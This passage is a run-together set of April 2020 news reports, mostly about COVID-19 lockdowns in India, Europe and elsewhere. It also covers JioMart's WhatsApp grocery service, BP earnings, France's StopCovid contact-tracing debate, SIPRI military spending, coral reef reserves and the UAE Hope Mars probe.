people are not allowed to step out of their houses. Essential items are delivered at the doorstep. The national capital also saw the NITI Aayog building getting sealed for 48 hours, after a director-level officer tested positive. In Tamil Nadu, Chief Minister K Palaniswami said COVID-19 cases are on the rise in the state as people have a casual attitude to norms like social distancing and do not understand the gravity of the contagion. The state reported 121 more people testing positive on Tuesday, taking the state's tally to 2,058, while a 68-year old man died of coronavirus in Chennai. The new positive cases included two police personnel and a flower vendor in Chennai. In Assam, where few new cases have emerged in the last few days, two persons tested positive, taking its total to 37. Some of the north-eastern states have not reported a single case for quite some time. Uttar Pradesh Chief Minister Adityanath asked officials to increase testing capacity. He also sought preparation of work plans to restart industrial units after May 3 and for giving employment to migrant labourers. He also said emphasis should be on social distancing and continued patrolling by the police. In Surat, Gujarat, hundreds of migrant workers came out on roads and vandalised the office of an under-construction building and some vehicles while demanding that they be sent back to their native places. West Bengal saw attacks on some policemen trying to enforce lockdown in 'red zone' Howarah district. The state reported 28 new cases, taking its total to 663, while the number of fatalities rose to 22 with two new deaths. Separately, the Union Health Ministry asked all states and Union territories to ensure that health facilities, especially in the private sector, remain functional and those needing critical healthcare such as dialysis, blood transfusion and chemotherapy are not denied such services amid the ongoing lockdown. This followed reports that many hospitals in the private sector were hesitating in providing critical services to their regular patients either on account of fear of contracting COVID-19 or because they are keeping their hospitals or clinics closed. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) France and Spain were on Tuesday set to announce plans to lift strict coronavirus lockdowns that have endured for weeks, while on the other side of world surfers returned to Bondi Beach as Australia took its own first steps to ease restrictions. Countries are beginning to chart their path out of shutdowns imposed to stem the spread of the deadly disease, which emerged in China late last year and has now infected more than three million people worldwide. At least 209,000 people have died from COVID-19 -- a quarter of them in the US, the worst-hit country followed by Italy, Spain, France and the UK. As some death rates slow, governments are exploring how to relax stay-at-home orders that are exacting their own damaging economic and psychological tolls, without sparking a dangerous second wave of contagion. Hundreds of eager surfers and swimmers rushed into the waves at Bondi Beach in Sydney, five weeks after police closed the area because of large crowds ignoring social distancing rules. "I've been excited for like a week, I was like: 7:30 right here," Diane Delaurens told AFP, dripping after his early-morning surf session. The sand remained largely empty, as people are still banned from sunbathing. With a handful of US states taking steps to revive their shuttered economies, schools and shops in some parts of Europe have opened up. From next week, Italians will be able to exercise outdoors and visit relatives -- but only if they wear masks and refrain from hugs and handshakes. Spain has already begun easing its tight lockdown and was set to announce more detailed plans on Tuesday, as was France, which has said it will begin to ease confinement on May 11. Recession fears However, the world's economic outlook remains bleak. Forecasts warn of the worst global recession in a century, with oil prices tumbling and the travel and tourism sector badly hammered. US President Donald Trump again took aim at China's handling of the crisis, suggesting the United States may seek damages over the devastating pandemic. "We are not happy with China... we believe it could have been stopped at the source. It could have been stopped quickly and it wouldn't have spread all over the world," he said. When asked about a German newspaper editorial that called on China to pay Germany $165 billion in reparations for economic damage done by the virus, Trump said the US could take its own action to hold China accountable. "We are talking about a lot more money than Germany's talking about," he said. "We haven't determined the final amount yet. It's very substantial." 'Human contact' For parts of the US, the lockdown has begun to ease -- despite criticism from health experts, but much to the delight of some citizens. "We need human touch, human contact," said 64-year-old Kim Kaseta, as she tucked into breakfast in the US state of Georgia. Most US states do not yet have sufficient COVID-19 testing to consider relaxing stay-at-home orders, according to an analysis by Harvard researchers and the health news site Stat. Trump said on Monday that testing was being rapidly expanded and that he expected to see a "lot" of schools open up, even if there is not much time left in the school year. Despite other European countries moving towards reopening schools and shops, British Prime Minister Boris Johnson said it was too early for the UK to follow suit. Johnson, who has emerged from his own battle with the virus, said Monday he could not "throw away all the effort and the sacrifice of the British people and to risk a second major outbreak." His comments stood in contrast to those made by New Zealand's Prime Minister Jacinda Arden, who said the nation had won the battle against "widespread, undetected community transmission". New Zealanders indulged in fast food and coffeeshop treats for the first time in five weeks on Tuesday as the country eased its strict lockdown that banned any form of takeaway. "We see the difference in other countries and I don't envy them, that's for sure," said Wellington resident Cheryl Robertson, who planned to celebrate with a curry. No one knows when the virus crisis will end as scientists race to develop treatments and, eventually, a vaccine. In a sign of the global uncertainty, the president of the organising committee for the postponed Tokyo 2020 Olympics said the event will have to be cancelled if the pandemic isn't brought under control by next year. Search Keywords: Short link: JioMart, which went live with its pilot project in Kalyan, Thane and Navi Mumbai for grocery shopping on WhatsApp has witnessed around 6,000 kirana stores onboarding for the services. Our first pilot was done in the end of December 2019 with selected kiranas in Thane, Kalyan and Navi Mumbai wherein we had handed over POS machines and had explained them on how to use it. So, until now we have 5000-6000 active kiranas who went live for WhatsApp grocery shopping, an official from Jio Mart told Moneycontrol on the condition of anonymity. Without revealing the total number of customers who have availed this service, the official said that robust number of customers are using this service and are very satisfied as they could get all that was ordered. Reliance is also expected to roll out a dedicated JioMart app for Android and iOS devices soon. Meanwhile, users can place an order on JioMart via WhatsApp and collect them from the merchant when it is ready. JioMart is an online-to-offline (O2O) business platform where customers can place an order online, but purchases the products offline (nearest local retail stores). Additionally, JioMart promises free home delivery, express delivery services and never before savings once the App is launched. After signing a historic $5.7 billion deal with Facebook on April 22, Reliance Industries e-commerce platform JioMart is now live in Kalyan, Thane and Navi Mumbai near Mumbai. Read our extensive coverage on Facebook-Jio deal here Customers can place an order on JioMarts WhatsApp number 8850008000 using their phones. Launched in January, the web-only arm of Reliance Retail allows consumers to purchase from among 50,000 products including groceries and other essential items along with private labels owned by Reliance Retail. JioMart is expected to cater services to other parts of the country soon. The Reliance Jio-owned e-commerce platform aims to connect 20 crore customers to three crore offline stores throughout the country. In the very near future, JioMart and WhatsApp will empower nearly three crore small Indian kirana shops to digitally transact with every customer in their neighbourhood. This means all of you can order and get faster delivery of day-to-day items from nearby local shops. At the same time, small kiranas can grow their businesses and create new employment opportunities, Mukesh Ambani, CMD, Reliance Industries said in a video on April 22. Customer experience To know the actual customer experience, Moneycontrol spoke to few customers who have already used Jio Mart WhatsApp service for shipping groceries. A resident of Kalyan, Prashant Sankhe said, The grocery shopping was hassle free. The ordering process is simple. We were given a name of Manish stores, a Kiranawalla closest to our house. We went and collected our order and made the payment there. Another resident of Thane, Aditya Phatak said the best part was they didnt have to stand in the queue for 1-2 hours which they have been doing during the lockdown for buying essentials. Preeti Radia, a college going student, residing in Navi Mumbai said she is happy with no minimum value for shopping groceries. I stay alone and my requirement is limited. A lot of places deliver only if I buy worth Rs 500 or worth Rs 1,000. So, I am happy that on JioMart there is no minimum value for shopping. She said she is awaiting for the Jio app launch when the groceries will be directly delivered at home. Swati Gadakh said she is happy with the hassle free return policy. I had ordered a particular shampoo and instead he sent another shampoo which I didnt want, I went to the kirana shop and without asking me any questions he changed it immediately and difference in the pricing was returned to me. How to place an order on JioMart via WhatsApp:- 1 Users need to save the JioMart WhatsApp number 88500 08000 in their contacts. 2 Once saved, send a Hi message to JioMart on WhatsApp. 3 JioMart will reply with an automated text to your message on WhatsApp with a link to select your locality and products. Keep in mind that the link is valid only for 30 minutes after you receive it. You can send a Hi again to receive a new link in case the original URL expires. 4 Fill up the form will all the details and click Proceed. 5 Next, JioMart will list all the products available for order in your area. Select the items you wish to order and then hit Place Order. 6 The merchant will update you once the order is ready, following which you can head to the store and collect your JioMart order. Disclaimer: Reliance Industries Ltd., which also owns Jio, is the sole beneficiary of Independent Media Trust which controls Network18 Media & Investments Ltd. Oil major BP has maintained its shareholder dividend bringing relief to Irish and British pension funds, many of whom are invested in the company despite falling profits and rising debt levels. BPs first-quarter profit tumbled by two thirds and its debt climbed to its highest in at least five years as the coronavirus crisis hammered oil demand, but the energy major kept its dividend despite warning of exceptional uncertainty. BP reported an underlying replacement cost profit, its definition of net income, of $800m (740m), beating the $710m forecast by analysts. The company reported $2.4bn profit a year earlier. Including inventory charges of $3.7bn for oil it holds, the company reported a loss of $4.4bn. But BP, whose net debt climbed to its highest since at least 2015, kept its dividend of 10.5c per share and said it had repurchased shares worth $776m in the quarter. The company said oil and gas production faced significant uncertainties linked to tumbling oil demand and plunging prices, as well as due to a deal between Opec, Russia and other producers to cut global supplies of crude by about 10%. I can see many reasons why this recovery will take longer and therefore I think were in this for quite some time, chief executive Bernard Looney said. BP has so far resisted cutting its dividend after raising it in February, even though some investors have said top oil and gas companies should consider reducing shareholder payouts. Mr Looney said BP aimed to reduce costs so it could generate profits and pay dividends at an oil price of $35 a barrel in 2021, down from a breakeven $56 a barrel in 2019. He said spending could be cut further next year. Oil was up slightly at just over $20 per barrel. - Additional reporting Reuters He had his own advisers who were making him think that this was a smaller epidemic, that the gravity of it wasnt so great, that chloroquine would solve everything, that it was a global plot, Mandetta said. But I never heard this from anyone in the Ministry of Health or any ministry. Quite the contrary, everyone, even the minister of economy, knew we had to first attend to the health crisis. Earlier today at the National Assembly, French Prime Minister Edouard Philippe gave a lengthy speech about post-lockdown measures in France ahead of a debate with deputies. The government originally planned to discuss Frances contact-tracing app StopCovid. It broadened the subject of the debate to post-lockdown policies a couple of days ago. But Philippe said that it was too early to discuss the rollout of StopCovid. According to him, as the app is not ready yet, it would be difficult to vet the advantages and risks of a contact-tracing app. The section of Philippes speech on StopCovid wasnt long, so heres everything he had to say on contact tracing: Could we or should we leverage the extraordinary resources or digital tools in order to be more efficient? A European consortium has laid groundwork that should lead to the creation of the StopCovid app the app would only be useful in addition to what I already described. It would come in addition to the health investigations that I described. Those investigations, whether they are physical or by phone, are essential but present a flaw. They are sometimes hampered by the inability to establish transmission chains in urban areas, in the most dense areas and in particular in public transit. Its hard to notify the person who was in the same metro train at 7:46 on line 12. You dont know them, they dont know you and [public transport company] RATP doesnt know either of them. Thats the goal of the StopCovid project. It would make it possible to notify people who crossed the path of a positive individual in order to indicate what to do next without, of course, collecting any data on the identity of the person you encountered. A large number of political leaders, from all parties, including the president of the National Assembly himself, told me about their concern on that type of tools, on the questions that it would inevitably raise when it comes to civil liberties and individual liberties. Those questions, and I already said it before, are justified. They should be asked, they should be debated. I even think that it should lead to a vote. For now, given the uncertainty around this application, it would be quite difficult for me to tell you if it works and how it works exactly. I have no doubt that engineers will work tirelessly and will deliver on this project. But, as it is not the case right now, I think that holding a debate would be premature. But I want to reaffirm my pledge. When the application currently in development is working, and before its release, we will hold a debate dedicated to StopCovid followed by a vote. Story continues French Prime Minister Edouard Philippe delivers a speech at the French National Assembly as he presents the government's plan to exit from the lockdown situation (Photo by David Niviere / Pool / AFP / Getty Images) While it seems like the French government is going back to the drawing board, the Digital Ministry told TechCrunch that it is still going ahead with its controversial ROBERT protocol. I can confirm that French authorities only work on a solution that avoids the circulation of a list (even encrypted) of Covid+ people as in the Robert protocol. The discussions with Germany havent stopped to find the best architecture, a spokesperson for the Digital Ministry told TechCrunch. Last week, research institutes Inria and Fraunhofer released the specifications of the protocol that the French and German governments planned to use at the time. Named ROBERT, it is a centralized protocol that uses pseudonymization to match contacts on a central server. A national authority manages the central servers. But you have to trust your government that theyre not doing anything nefarious on their servers without telling you a centralized design could lead to abuse and even state surveillance. On Sunday, Germany reversed its stance and abandoned ROBERT altogether. German authorities are now working on a decentralized protocol that leverages smartphones to compute social interactions. Ephemeral IDs are stored on your device and you can accept to share ephemeral IDs with a relay server to send them to the community of app users. Yesterday, hundreds of French cryptography and security researchers signed a letter to raise awareness about the potential risks of a contact-tracing app. It is essential to thoroughly analyze the health benefits of a digital solution with specialists there should be important evidence in order to justify the risks incurred, the letter said. The French government is now also betting heavily on health investigators in order to contact everybody who has tested positive in order to list their social interactions. After that, investigators can contact those other individuals and tell them to get tested as soon as possible. TechCrunch's Natasha Lomas contributed to this report Radioline unveils its hybrid radio application compatible with Android Automotive OS, thanks to close collaboration with Panasonic Automotive Systems Europe. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200428005544/en/ (Graphic: Radioline) Android Automotive OS is a major turning point for the connected car industry: chosen by many OEMs, the scalable and customizable operating system gives access to multiple on-board apps and services including Google Assistant, Google Maps and the Google Play Store. Radioline's Hybrid radio app integrates in this environment to offer a seamless experience between FM/DAB+/HD Radio/IP stations and podcasts available worldwide: thus, users can benefit from a wide variety of programs: they can access International and local programs, via numerous catalogs of selections and a search engine available in the application. with a simple touch, they can easily find their preferred stations, shows or podcasts saved in their Favorite list. the content is enriched with EPG and metadata displayed, offering a wealth of information like the name of the show, presenter, track, album, cover art... "Panasonic is delighted about the excellent technical cooperation with Radioline. This is very exciting opportunity for Panasonic Automotive to demonstrate our competencies in leading edge tuner performance on Android Automotive OS," says Yoshi Nakao, President Panasonic Automotive Systems Europe. "This incredible achievement is the unique result of months of development with talented partners like Panasonic. We look forward to sharing it with users!" concludes Xavier Filliol, Radioline COO. In addition, Radioline has developed a Full IP radio app (IP content only) that will be available in the Google Play Store for vehicles powered by Android Automotive OS: +90,000 radios and podcasts from 130 countries are available on the service. Radioline continues to provide its expertise in the automotive industry, with innovative applications that meet the OEM's requirements, through multiple partnerships. About Radioline Radioline is a global radio provider #1 in Europe with +90,000 stations podcasts on all screens, distributed by a large range of partners (telco, OEM, media portal, middleware, etc.). The service is built on a highly scalable platform with advanced features, enriched content management, massive channel aggregation and universal access via any mobile device, online PC, connected TVs, IoT and in-car digital solutions (with TDF/Radiobridge) More about Radioline: http://business.radioline.co/ Radioline is a Baracoda Company. View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005544/en/ Contacts: Press: Xavier Filliol press@radioline.co Oprah Winfrey, Lil Nas X and Miley Cyrus will lead the stars for a celebrity-filled livestream graduation ceremony on May 15. The event will take place at 11am PST to offer a celebration for students whose commencements have been canceled because of the COVID-19 pandemic. Entitled #Graduation2020: Facebook And Instagram Celebrate The Class Of 2020 the show will feature a keynote speech by Oprah, 66, Variety reports. Legend: Oprah Winfrey will lead the stars for a celebrity-filled livestream graduation ceremony this May 15; she is pictured giving the Harvard commencement speech in 2013 MIley is slated to perform her 2009 song The Climb about how the journey is more important than the destination. The two women and Nas join a group of celebrity guests that features Jennifer Garner, Awkwafina and Simone Biles. Apparently more celebrity guests have yet to be announced but Facebook will reveal their names in the future. Lending his star power: Lil Nas X, who is pictured at the Grammy Awards this January, is also on the bill for the event hosted by Facebook and Instagram Sizzling: MIley Cyrus is slated to perform her 2009 song The Climb about how the journey is more important than the destination; pictured onstage at Glastonbury last June Principals and deans from various schools and universities will also speak, and pictures of 2020 graduating classes from around the country will be shown. Facebook Watch will livestream the entire event with segments appearing on Instagram, which is owned by Facebook. Oprah is no stranger to commencement speeches, which she has delivered at institutions including Harvard and the University Of Southern California. What a lineup: #Graduation2020: Facebook And Instagram Celebrate The Class Of 2020 will feature Awkwafina who is pictured last December at the Jumanji: The Next Level premiere So many stars: Olympic gymnast Simone Biles will also be part of the event; she is pictured at the Rio De Janeiro Olympics in 2016 where she won a gold medal She told the Harvard class of 2013 that 'the key to life is to develop an internal moral, emotional G.P.S. that can tell you which way to go.' Jennifer also gave a commencement speech at her alma mater Denison University in Granville, Ohio for the class of 2019. She offered such pearls of wisdom as: 'Mixed signals are not mixed signals - they're a no,' and: 'Nothing looks better in your 50s than sunscreen in your 20s.' (Photo : REUTERS/Hannibal Hanschke/File Photo) FILE PHOTO: SpaceX owner and Tesla CEO Elon Musk arrives on the red carpet for the automobile awards "Das Goldene Lenkrad" (The golden steering wheel) given by a German newspaper in Berlin, Germany, November 12, 2019. Elon Musk has attracted controversy and made headlines for all the wrong reasons in the past. Still, he's also had some exceptional fulfillment in fast-pacing technology. For all his strange behavior, he's also running to solve some of humanity's most dire problems. Climate change? Musk's electric vehicle company, Tesla, has made electric motors exciting. Traffic woes and all of the bad health outcomes of congestion-triggered pollution? Musk created The Boring Company to dig a community of tunnels underneath Los Angeles to avoid gridlocked freeways. Is he colonizing other planets to keep ourselves from extinction? SpaceX is running on it. Here are the ways he's "saving" the world: SpaceX's new planet-spying space-based telescopes SpaceX CEO Elon Musk told scientists Monday that he'd want to collaborate with astronomers on seeing deeper into space. Musk said he wanted to get clearer pictures of exoplanets that might host life, CNET reported. "I'm very excited about a future of space-based telescopes that could be very large," Musk told a committee of the National Academies of Sciences, Engineering, and Medicine. The committee assembly was a part of decadal survey where NASA, other government agencies, and scientists try to set priorities for astronomical and astrophysics research. Musk was invited to deal with concerns approximately interference from large satellite constellations like Starlink. The billionaire entrepreneur said that "VisorSat" satellites ready with a sunshade to block reflections from the sun are a possible fix. The glint makes the satellites bright sufficient to peer from Earth and has marred a few astronomical observations over the past year. Musk stated the following release of Starlink satellites should be ready with the dimming devices. "We will take further steps as needed," Musk assured the audience of scientists, adding that the fix is "quite simple" and "we'll feel a bit silly in hindsight." ALSO READ: Elon Musk's Starlink Satellites Will Grace The Skies Tonight: Here's How to See Them Tesla's Own Traffic Light? Tesla is rolling out a software update to a number of its newest cars that will allow them to peer and respond to traffic lighting fixtures and forestall signs. The said feature has been a feature that CEO Elon Musk has teased for years. According to The Verge, the update is available only to proprietors of Tesla vehicles ready with the third version of the onboard laptop that powers Autopilot, which it refers to as "Hardware 3." The company has started putting in this laptop on all new vehicles last year (and offers improvements to those with older cars). However, owners will also pay for the "full self-driving" version of Autopilot to apply the new "Traffic Light and Stop Sign Control" feature. When activated, the feature will slow the auto right down to a forestall for traffic lights and stop signs. The driving force will have to drag down once at the Autopilot stalk or tap the accelerator pedal to continue by the intersection after that - although the signal light is green. Tesla reiterates in the release notes that Autopilot still won't carry out turns, saying that the new feature "will not be manageable for all intersections." For example, it won't work at railroad crossings or pedestrian crosswalks. "Performance may be degraded in difficult environments with pedestrians, rain, direct sunlight, or when approaching traffic controls that are obstructed," the company writes. Therefore, Tesla says drivers ought to pay close attention and "be ready to take immediate action in any respect times, including the braking." ALSO READ: SpaceX Starman And Tesla Roadster Could Crash Back Into Earth Deep-space rocket to pave the way for a short flight Over the weekend, SpaceX passed a significant milestone in its next-generation deep-area rocket called Starship, which is designed someday to send cargo and those to the Moon and Mars. A prototype of the rocket underwent a cold pressure test in Texas and remained intact on the test stand, paving the way for this specific car to fly to a low altitude in the upcoming weeks. Passing this test is a significant step for SpaceX because this same test was destroyed different Starship prototypes in the past. SpaceX lost three previous vehicles throughout these cold pressure tests. The prototypes both burst apart or imploded even as on the test stand at SpaceX's facility in Boca Chica, Texas. SpaceX CEO Elon Musk stated that this check was a chunk of a "softball" stress test; however, it was enough to proceed with flight tests. ALSO READ: [VIDEO] SpaceX's Latest Starship Prototype Fails Under Pressure Tank Testing 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission. Cold War Foes U.S., Russia, Spark Biggest Military Spending Jump In A Decade By RFE/RL April 27, 2020 Global military spending surged the most in a decade last year, boosted by Cold War foes the United States and Russia, as well as China, Saudi Arabia, and India. The Stockholm International Peace Research Institute (SIPRI) said on April 27 that those five countries accounted for 62 percent of the $1.92 trillion doled out in global military expenditures in 2019. Compared to 2018, total global military spending rose by 3.6 percent and represented the largest annual growth in spending since 2010. U.S. military spending increased by 5.3 percent to $732 billion, accounting for 38 percent of global expenditures. That sum is almost as much as the next 10 highest spenders combined. Russia, meanwhile, continued two decades of rising military expenditures at $65.1 billion in 2019, a 4.5 percent increase from 2018. "The recent growth in U.S. military spending is largely based on a perceived return to competition between the great powers," said Pieter Wezeman, senior researcher at SIPRI. China's military expenditure reached $261 billion in 2019, or a 5.1 percent increase compared to the year before. Russia's military expenditure last year, the fourth highest in the world, was 175 percent higher than in 2000 and now accounts for 88 percent of military spending in Eastern Europe. "At 3.9 percent of its GDP, Russia's military spending burden was among the highest in Europe in 2019," said Alexandra Kuimova, a researcher at SIPRI. NATO Spending Meanwhile, all 29 NATO member states combined spent $1.04 trillion, with large increases from Germany and Central and Eastern European alliance members. In 2019, Bulgaria increased spending by 127 percent due to the purchase of new combat aircraft and Romania spent 17 percent more. Poland, which accounted for 38 percent of the total for Central Europe in 2019, has increased its military spending by 51 percent in the past decade. Germany, which has come under pressure from the United States and other NATO members for not hitting alliance defense-spending targets, upped military spending by 10 percent to $49.3 billion. "The growth in German military spending can partly be explained by the perception of an increased threat from Russia, shared by many North Atlantic Treaty Organization member states," said Diego Lopes da Silva, a researcher at SIPRI. In the Middle East, Iran's military expenditure in 2019 dropped by 15 percent to $12.6 billion compared to a year earlier despite escalating tensions with the United States and regional rivals. This followed a 23-percent decrease in 2018. SIPRI said the steep fall in Iranian military expenditures coincided with U.S. sanctions following Washington's exit from the 2015 international nuclear accord. The drop in Iranian military spending came despite its main regional rival Saudi Arabia spending $62 billion on its military in 2019, a high 8 percent of economic output. Source: https://www.rferl.org/a/cold-war-foes-u-s- russia-spark-biggest-military-spending -jump-in-a-decade/30579218.html Copyright (c) 2020. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Global warming is undoing decades of progress in marine reserves by Brooks Hays April 28,2020 | Source: UPI For decades, conservationists have relied on marine reserves, protections that limit human activities like fishing across portions of the ocean, to increase biodiversity and fish biomass. In addition to protecting vulnerable ecosystems, marine reserves have helped scientists study the best strategies for conserving marine species and their habitats. But new research suggests marine preserves and their protective abilities are wilting under the pressure of rising global temperatures and repeated coral bleaching events, erasing decades of progress. "Climate change is so fundamentally changing the structure and composition of coral reef ecosystems, that the way the ecosystem functions and responds to common management and conservation approaches needs to be carefully re-evaluated," Nick Graham, professor of marine ecology at Lancaster University in Britain, said in a news release. "The rules we have come to rely on, no longer apply." Coral rely on a symbiotic relationship with algae to survive. Coral provide resident algae with protection from predators, while algae produces food for the coral to subsist on. When water temperatures rise, the symbiotic relationship breaks down and coral expel their algae companions. Coral can bounce back in the wake of shorter and more modest bleaching events, but repeated intense bleaching events can permanently damage a reef. Because coral and their resident algae provide food and shelter for many small fish and marine species at the bottom of local food chains, coral bleaching events can disrupt an entire ecosystems. To better understand how global warming has impacted marine reserves, Graham and his colleagues analyzed coral bleaching events among 21 reefs over a 20-year period, including a 1998 bleaching event that killed 90 percent of the coral surrounding the Seychelles. Graham and his research partners published the results of their analysis Friday in the journal Nature Communications. "Our long-term records of Seychelles' coral reefs show that before the bleaching event marine reserves contained high coral cover, a very biodiverse range of fish, and high biomass of carnivorous and herbivorous fish," Graham said. "Following the bleaching event, the role of the marine reserves changed substantially." "They no longer supported higher coral cover compared to adjacent fished areas, and their role in enhancing biodiversity decreased," Graham said. "Plant-loving fish, such as rabbitfish and parrotfish, dominated fish communities. This was the case for reefs where corals were recovering, as well as reefs transformed and dominated by seaweed." Often, preserves are established to protect large species, the types of fish that are vulnerable to commercial fishing. But in the wake of bleaching events, scientists found the number of carnivorous fish like grouper quickly decline. When coral die and reefs decline, the numbers of smaller prey species drop. As a result, larger species are less likely to seek refuge inside marine reserves. But while global warming has reduced the efficacy of many marine reserves, they are not yet obsolete. Researchers argue they are still an important conservation tool. "It is encouraging that marine reserves continue to protect some species, especially when these species are critical for local fisheries," said Shaun Wilson, research scientist with Western Australia's Department of Biodiversity, Conservation and Attractions. "Although these reordered marine reserves are less biodiverse, they are still important to maintain," said Gilberte Gendron of the Seychelles National Parks Authority. "This is because, when compared to openly fished areas, they still protect higher levels of fish biomass of species that are important to our local fisheries. For example, the protected herbivorous fish can spill out into openly fished areas and help support adjacent fisheries." Scientists hope their latest findings will inform future conservation efforts. Researchers recommend the next marine reserves be established around coral reefs where warming rates are slowest. 2020 United Press International, Inc. All Rights Reserved. Theme(s): Others. Disclaimer: If you have any questions regarding information in this press release please contact the company added in the press release. Please do not contact pr-inside. We will not be able to assist you. PR-inside disclaims the content included in this release. Amid the Coronavirus outbreak, where the whole country is on lockdown and we all are staying indoors to keep safe, many gurudwaras around the national capital region are serving the needy. The famous shrine in New Delhi, Gurudwara Bangla Sahib has kept its doors open for visitors during the outbreak of the deadly virus. The gurudwara sevaks took precautions while serving the visitors and regularly sanitized the premises of the Gurudwara. As a tribute to the Sikh community, the Delhi Police performed the 'Siren Parikrama' around Bangla Sahib to show their respect to the Sikhs for helping the needy and providing food to around 1 lakh people every day. Check out the video here - #WATCH: Delhi Police perform 'Siren-Parikrama' around Gurudwara Bangla Sahib as a mark of respect towards the Gurudwara for providing food to nearly 1 lakh people on daily basis. #COVID19 pic.twitter.com/geDKlek0MW ANI (@ANI) April 27, 2020 The video has garnered over 28.8 thousand views and 2.4 thousand likes on Twitter within a few hours. In the video, you can see a convoy, including 35 police vans and 60 motorcycles. The senior officers were impressed by the Gurudwara sevaks and wanted to show them their gratitude for their humanitarian work. Heres what people have to say about the polices tribute to the Kar Sevaks- Indeed. India needs Gurudwara Sahib after every 10-15 km to serve humanity with food and shelter harvinder singh (@harvinderjmu) April 27, 2020 True. sikhs are such nice people! always helping humanity! vivek singh (@vivekbabaji) April 27, 2020 Respect for the Gurudwara sevaks. Okay Let work be your voice!#Respect Farhan Rana (@Iamfarhanrana) April 27, 2020 Need more people like him Now this is selfless Charity. Wahe Guruji da Khalsa, Wahe Guruji di Fateh Ujwal Singh Rajput #USR (@usual_ujwal) April 27, 2020 Hmm Daily food to 1 lakh People is a Tremendous Feat. Salute to the Kar Sevaks who made it a Success. Amarendra Nath Bokshi (@anbokshi) April 27, 2020 So true! My respect for the Sikh community increases manifolds whenever I come across their selfless services towards the society. Shivangi B. (@ShivangiB5) April 27, 2020 Indeed. This is the good idea for salute the #banglasahib's Team Proud of @DelhiPolice Tribhuwan Mishra (@tmishra10) April 27, 2020 The carcade was led by Eish Singhal and he said, In the present times when COVID-19 is taking its toll on our society, there are a few individuals and organizations who have risen to the occasion and went beyond the calls of their duty to help the larger populace. I wish to place the sincere appreciation of the humanitarian work being done by Gurudwara Bangla Sahib and all its sevadars who are offering food to around 75,000 people every day from Gurudwara Bangla Sahib. The grand gesture was also appreciated by Prime Minister Narendra Modi. He took to Twitter and wrote, Good gesture by the @DelhiPolice. Our Gurudwaras have been doing exceptional work in serving people. Their compassion is appreciable. Check out the post here- Good gesture by the @DelhiPolice. Our Gurudwaras have been doing exceptional work in serving people. Their compassion is appreciable. https://t.co/hdTn6vDFtj Narendra Modi (@narendramodi) April 27, 2020 We need more people like them who effortlessly serve the society in these tough times. (@FahadShabbir) ABU DHABI, (UrduPoint / Pakistan Point News / WAM - 27th Apr, 2020) A gargantuan mission calls for an extraordinary vision, the Gulf Today said in an editorial on Monday, adding that the UAE is blessed with a leadership that believes the journey of development will always remain a race for excellence. "The successful transfer of the first Regional Mars probe from the Mohammed bin Rashid Space Centre in Dubai to the launch site on Tanegashima Island in Japan, in an 83-hour operation under the supervision of a team of Emirati engineers, once again underscores the UAEs abilities to not only set high goals but make determined efforts to achieve them," it continued. The UAE daily went on to quote His Highness Sheikh Mohammed bin Rashid Al Maktoum, Vice President, Prime Minister and Ruler of Dubai, as saying on Twitter: "Despite global flight suspensions & health precautions, our engineers are working according to schedule to complete the regions top space science project. The probe was developed in 6 years, less than the usual global period of 10, and at half the cost. We aim to launch in July. "The Hope Probe represents a turning point for the Arab and Islamic world in the space sector. Reaching Mars is not only a scientific goal; it also sends a message to our future generation that we are capable and nothing is impossible with hope." The English language daily commented, "The Hope Probe will be the first probe to provide a complete picture of the Martian atmosphere and its layers when it reaches the red planet in 2021. It will help answer key questions about the global Martian atmosphere and the loss of hydrogen and oxygen gases into space over the span of one Martian year. "The mission has pertinently been named 'Hope' and Sheikh Mohammed had lucidly elucidated the reasons behind the name earlier. As he put it, 'This probe represents hope for millions of young Arabs looking for a better future. There is no future, no achievement, no life, without hope'." "The Mohammed bin Rashid Space Centre is responsible for the execution and supervision of all stages of the design, development and launch of the Hope Probe in 2020. The UAE Space Agency is funding and supervising procedures and necessary details for the implementation of this project. Following a journey of several months, the probe is expected to enter the Red Planets orbit in 2021, coinciding with the Golden Jubilee of the Union. "The probe will create mankinds first integrated model of the Red Planets atmosphere. The spacecraft will send back to earth over 1,000 gigabytes of new Mars data. This information will be received in the Science Data Centre in the UAE through different ground stations spread around the world. These data will subsequently be catalogued and analysed in the UAE by the Emirates Mars Mission science team, and then shared with more than 200 institutions worldwide for the benefit of thousands of space specialists," the newspaper explained. "One thing that is unmistakably evident in this great endeavour is the commitment of the leadership to promote scientific talent. "The support offered by the administrative machinery to such projects like the mars mission reinforces the belief that the leaders leave no stone unturned when it comes to helping the scientific community pursue dreams and reach for the stars. "Future generations can reap the rewards of such investment in science and knowledge," the Sharjah based daily said. It concluded by quoting Sheikh Mohammed bin Rashid as once saying, "The Emirates Mars Mission will be a great contribution to human knowledge, a milestone for Arab civilisation, and a real investment for future generations." (Bloomberg Opinion) -- Italys government has congratulated itself for showing the rest of the Western world how to enforce a lockdown in a democratic society. Nearly two months after that draconian decision, politicians are still keeping their citizens in the dark over the thinking behind their actions. On Sunday, Prime Minister Giuseppe Conte announced that he would lift a number of measures that have restricted liberties and brought the economy near to a halt. As of May 4, the manufacturing and construction sectors will reopen, while people will be allowed to visit relatives, as long as they live in the same region. Most constraints will remain in place, however. Shops will stay closed for another two weeks, and bars and restaurants will only open their doors in June. Italians will still have to carry a certificate to show the police they have a good reason to go out. They wont be able to travel between regions, except for specific reasons such as going to work. Schools will stay closed, until September at least. Yet the ongoing restrictions werent the objectionable thing about Contes announcement; it was more that he failed to give any sense of what his overall goal really is. Italy has succeeded in limiting the speed of transmission of Covid-19. The virus reproduction rate the estimated mean number of people infected by each case fell to 0.5-0.7 at the start of April, which is below the threshold 1 where growth becomes exponential. The pressure on hospitals has eased too. The number of patients in intensive care has halved since the epidemics peak. Contes government may not think this is enough to allow for a wider reopening, but it needs to do much better on explaining why and in letting everybody know what kind of infection numbers would allow for an end to the other constraints. The communication of clear goals is critical to maintaining the publics trust. It isnt even clear why some restrictions have been lifted before others. For example, while most shops have to stay closed, bookshops have reopened. Visitors will be allowed into museums as of May 18, but the government for now wont permit any religious functions with the exception of funerals. These decisions are making Contes administration vulnerable to claims that its favoring some sectors over others. Story continues The Italian state is demanding a great deal from its citizens, so it needs to show that its handling things competently. Conte 